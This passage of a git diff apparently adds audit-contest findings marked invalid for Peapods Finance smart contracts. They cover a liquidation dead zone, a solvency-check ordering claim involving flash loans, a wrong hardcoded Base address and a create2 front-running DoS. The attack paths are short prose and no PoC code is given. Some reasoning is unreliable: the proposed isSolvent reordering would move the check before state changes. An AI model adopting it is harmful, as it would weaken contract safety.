+if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+}
+This condition explicitly checks if the position would leave too little collateral after liquidation, leading to the revert if true, thus defining the dead zone.
+
+
+
+
+
+
+
+
+### External Pre-conditions
+
+User Behavior:
+Position Management Practices:
+
+
+Liquidity of Assets:
+Illiquid Collateral
+
+
+
+Network Conditions:
+Gas Prices and Network Congestion: High transaction costs or slow block times could deter liquidators from managing positions near the dead zone threshold, where the economic incentive might not justify the cost.
+
+### Attack Path
+
+Market Volatility
+
+Network Conditions:
+Gas Costs and Network Congestion:
+
+Market Volatility:
+Price Fluctuations
+
+### Impact
+
+Accumulation of Bad Debt:
+Positions stuck in the dead zone cannot be liquidated, leading to potential bad debt if these positions become or remain insolvent
+
+Revenue Loss:
+The protocol misses out on liquidation fees for these positions
+
+Potential for Exploitation:
+Attackers might exploit this mechanism by creating positions that would fall into this dead zone, aiming to manipulate the system or accumulate bad debt intentionally.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+i think Partial Liquidation to Minimum:
+Modifying the logic to allow for partial liquidations down to minCollateralRequiredOnDirtyLiquidation rather than revertingm will be a very goood practise ..
\ No newline at end of file
diff --git a/invalid/368.md b/invalid/368.md
new file mode 100644
index 0000000..a51ff19
--- /dev/null
+++ b/invalid/368.md
@@ -0,0 +1,97 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Solvency Check After Execution Vulnerability
+
+### Summary
+
+The [`FraxlendPairCore.sol:: modifier isSolvent`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L242)
+
+
+```
+modifier isSolvent(address _borrower) {
+ _;
+ ExchangeRateInfo memory _exchangeRateInfo = exchangeRateInfo;
+
+ if (!_isSolvent(_borrower, _exchangeRateInfo.highExchangeRate)) {
+ revert Insolvent(
+ totalBorrow.toAmount(userBorrowShares[_borrower], true),
+ userCollateralBalance[_borrower],
+ _exchangeRateInfo.highExchangeRate
+ );
+ }
+ }
+
+```
+
+
+This setup allows for potential exploitation where attackers could:
+Manipulate Solvency: Temporarily adjust their collateral or debt to appear solvent during the check but revert to an insolvent state immediately after. This involve using flash loans to borrow assets, use them to meet solvency criteria, execute the function, and then repay the loan, leaving the position insolvent.
+Flash Loan Attacks: Specifically, this timing vulnerability makes the contract susceptible to flash loan attacks where an attacker borrows funds, manipulates their position to pass the solvency check, executes actions like withdrawals or further borrowing, then repays the loan, leaving the protocol with an insolvent position
+
+### Root Cause
+
+The isSolvent modifier checks whether a borrower is solvent after the execution of the function's body (_; before the check). This means that any state changes or operations that affect the borrower's solvency status occur before the solvency is verified
+
+* Check-Effects-Interactions Pattern Violation
+
+### Internal Pre-conditions
+
+Solvency Modifier Structure:
+```
+modifier isSolvent(address _borrower) {
+ _; // Function body executes here
+ if (!_isSolvent(_borrower, exchangeRateInfo.highExchangeRate)) {
+ revert Insolvent(...);
+ }
+}
+```
+
+The placement of _; before the solvency check (_isSolvent) is the primary internal pre-condition enabling this vulnerability/ bug
+
+### External Pre-conditions
+
+* Flash Loan Availability
+* Market Liquidity
+
+* Price Oracle Vulnerabilities:
+ Delayed or Inaccurate Price Data
+* Network Conditions:
+ Transaction Speed
+
+### Attack Path
+
+Identify the Target Function:
+Prepare the Flash Loan
+Pass the Solvency Check
+
+Revert the Manipulation:
+After passing the solvency check, the attacker:
+Removes or reduces the collateral back to its original state or less
+
+
+
+### Impact
+
+Accumulation of Bad Debt
+
+Loss of Funds
+
+Revenue Impact:
+The protocol miss out on interest income or fees if positions become unmanageable or if users withdraw due to security concerns.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Reorder the Solvency Check
+
+modifier isSolvent(address _borrower) {
+ if (!_isSolvent(_borrower, exchangeRateInfo.highExchangeRate)) {
+ revert Insolvent(...);
+ }
+ _;
+}
\ No newline at end of file
diff --git a/invalid/551.md b/invalid/551.md
new file mode 100644
index 0000000..e2c2f90
--- /dev/null
+++ b/invalid/551.md
@@ -0,0 +1,54 @@
+Chilly Wool Ladybug
+
+Medium
+
+# Incorrect address of `V3_POS_MGR` on `Base` would break `V3Locker`
+
+### Summary
+
+`V3_POS_MGR` is set to a hardcoded address in the constructor which is incorrect on the `Base` chain, breaking the `V3Locker` contract on that chain.
+
+### Root Cause
+
+```solidity
+constructor() Ownable(_msgSender()) {
+ CREATED = block.timestamp;
+ V3_POS_MGR = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
+ }
+```
+
+`0xC36442b4a4522E871399CD717aBDD847Ab11FE88` is the address of the PositionManager on Mainnet, but not on Base
+
+```solidity
+//https://docs.uniswap.org/contracts/v3/reference/deployments/base-deployments
+
+
+NonfungiblePositionManager | 0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1
+
+```
+
+
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+Deploying the contract `V3Locker` would simply revert.
+
+### Impact
+
+`V3Locker` is unusable as it is on `Base`. This is one of the chains mentioned on the contest page, and `Base` supports UniswapV3 Pools.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To make it more flexible and easy to deploy on several chains, simply pass the `address` argument in the constructor
\ No newline at end of file
diff --git a/invalid/554.md b/invalid/554.md
new file mode 100644
index 0000000..d987bc7
--- /dev/null
+++ b/invalid/554.md
@@ -0,0 +1,69 @@
+Chilly Wool Ladybug
+
+Medium
+
+# An attacker can DOS `addLvfSupportForPod` for a given pod
+
+### Summary
+
+Because of the use of `create2`, `addLvfSupportForPod` and `createSelfLendingPodAndAddLvf` can be front ran and allow an attacker to prevent the given pod to have the LVF functionality
+
+### Root Cause
+
+Both `addLvfSupportForPod(` and `createSelfLendingPodAndAddLvf(` trigger the creation of the following oracle
+
+```solidity
+_aspTknOracle = IAspTknOracleFactory(aspTknOracleFactory).create(
+ _aspTkn, _aspTknOracleRequiredImmutables, _aspTknOracleOptionalImmutables, 0
+ );
+```
+
+```solidity
+function create(address _aspTKN, bytes memory _requiredImmutables, bytes memory _optionalImmutables, uint96 _salt)
+ external
+ returns (address _oracleAddress)
+ {
+ _oracleAddress = _deploy(getBytecode(_aspTKN, _requiredImmutables, _optionalImmutables), _getFullSalt(_salt));
+ aspTKNMinimalOracle(_oracleAddress).transferOwnership(owner());
+ emit Create(_oracleAddress);
+ }
+
+...
+function _deploy(bytes memory _bytecode, uint256 _finalSalt) internal returns (address _addr) {
+ assembly {
+ _addr := create2(callvalue(), add(_bytecode, 0x20), mload(_bytecode), _finalSalt)
+ if iszero(_addr) { revert(0, 0) }//@audit can be front ran!
+ }
+ }
+```
+
+As you can see, the deployment of the oracle is made using `create2`, i.e is deterministic. This means an attacker can DOS the function by deploying that contract (at ` _addr`) before the call is made.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+An attacker can pre-compute the deployment of the oracle for a given pod(or do it so via front running, copying the parameters passed in `addLvfSupportForPod`), deploying before the call `addLvfSupportForPod`.
+
+### Impact
+
+`addLvfSupportForPod` would simply revert because of the `if iszero(_addr) { revert(0, 0)` line. This means the LVF functionality cannot be added to that given pod, as per the comments in the code:
+```solidity
+// this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+```
+so leverage is never turned on for that pod, breaking an important functionality.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file